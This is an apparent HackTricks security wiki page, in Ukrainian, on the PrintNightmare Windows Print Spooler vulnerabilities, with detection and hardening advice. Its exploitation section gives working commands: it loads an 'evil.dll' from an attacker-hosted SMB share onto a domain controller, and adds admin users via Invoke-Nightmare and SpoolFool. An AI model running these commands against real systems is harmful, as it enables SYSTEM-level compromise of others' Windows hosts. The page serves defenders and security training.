PrintNightmare (Windows Print Spooler RCE/LPE)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
PrintNightmare - це загальна назва, що надається сімейству вразливостей у службі Windows Print Spooler, які дозволяють виконання довільного коду як SYSTEM і, коли спулер доступний через RPC, віддалене виконання коду (RCE) на контролерах домену та файлових серверах. Найбільш широко експлуатовані CVE - це CVE-2021-1675 (спочатку класифікована як LPE) та CVE-2021-34527 (повне RCE). Наступні проблеми, такі як CVE-2021-34481 (“Point & Print”) та CVE-2022-21999 (“SpoolFool”), доводять, що поверхня атаки все ще далека від закриття.
1. Вразливі компоненти та CVE
Рік | CVE | Коротка назва | Примітив | Примітки |
---|---|---|---|---|
2021 | CVE-2021-1675 | “PrintNightmare #1” | LPE | Виправлено в червні 2021 CU, але обійдено CVE-2021-34527 |
2021 | CVE-2021-34527 | “PrintNightmare” | RCE/LPE | AddPrinterDriverEx дозволяє автентифікованим користувачам завантажувати DLL драйвера з віддаленого ресурсу |
2021 | CVE-2021-34481 | “Point & Print” | LPE | Встановлення непідписаного драйвера неадміністраторами |
2022 | CVE-2022-21999 | “SpoolFool” | LPE | Створення довільних каталогів → посів DLL – працює після патчів 2021 року |
Всі вони зловживають одним з MS-RPRN / MS-PAR RPC методів (RpcAddPrinterDriver
, RpcAddPrinterDriverEx
, RpcAsyncAddPrinterDriver
) або довірчими відносинами всередині Point & Print.
2. Техніки експлуатації
2.1 Компрометація віддаленого контролера домену (CVE-2021-34527)
Автентифікований, але непривілейований користувач домену може виконувати довільні DLL як NT AUTHORITY\SYSTEM на віддаленому спулері (часто DC) шляхом:
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support
# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'
Популярні PoC включають CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) та модулі Бенжаміна Дельпі misc::printnightmare / lsa::addsid
у mimikatz.
2.2 Підвищення локальних привілеїв (будь-який підтримуваний Windows, 2021-2024)
Ту ж API можна викликати локально, щоб завантажити драйвер з C:\Windows\System32\spool\drivers\x64\3\
і досягти привілеїв SYSTEM:
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
2.3 SpoolFool (CVE-2022-21999) – обхід виправлень 2021 року
Патчі Microsoft 2021 року заблокували завантаження віддалених драйверів, але не зміцнили дозволи на директорії. SpoolFool використовує параметр SpoolDirectory
, щоб створити довільну директорію в C:\Windows\System32\spool\drivers\
, скидає DLL з корисним навантаженням і змушує спулер завантажити її:
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll
# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
Експлойт працює на повністю оновлених Windows 7 → Windows 11 та Server 2012R2 → 2022 до оновлень лютого 2022 року
3. Виявлення та полювання
- Журнали подій – увімкніть канали Microsoft-Windows-PrintService/Operational та Admin і слідкуйте за ID події 808 “Служба друку не змогла завантажити модуль плагіна” або за повідомленнями RpcAddPrinterDriverEx.
- Sysmon –
ID події 7
(Зображення завантажено) або11/23
(Запис/видалення файлу) уC:\Windows\System32\spool\drivers\*
, коли батьківський процес – spoolsv.exe. - Ланцюг процесів – сповіщення щоразу, коли spoolsv.exe запускає
cmd.exe
,rundll32.exe
, PowerShell або будь-який непідписаний бінарний файл.
4. Пом'якшення та зміцнення
- Оновіть! – Застосуйте останнє кумулятивне оновлення на кожному хості Windows, на якому встановлено службу Print Spooler.
- Вимкніть спулер, де це не потрібно, особливо на контролерах домену:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
- Блокуйте віддалені з'єднання, дозволяючи локальний друк – Групова політика:
Конфігурація комп'ютера → Адміністративні шаблони → Принтери → Дозволити службі друку приймати клієнтські з'єднання = Вимкнено
. - Обмежте Point & Print, щоб лише адміністратори могли додавати драйвери, встановивши значення реєстру:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
Детальні вказівки в Microsoft KB5005652
5. Пов'язані дослідження / інструменти
- mimikatz
printnightmare
модулі - SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
- Спойлер SpoolFool та опис
- 0patch мікропатчі для SpoolFool та інших помилок спулера
Додаткове читання (зовнішнє): Перегляньте блог-пост 2024 року – Розуміння вразливості PrintNightmare
Посилання
- Microsoft – KB5005652: Керування новою поведінкою установки драйвера за замовчуванням Point & Print https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872
- Oliver Lyak – SpoolFool: CVE-2022-21999 https://github.com/ly4k/SpoolFool
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.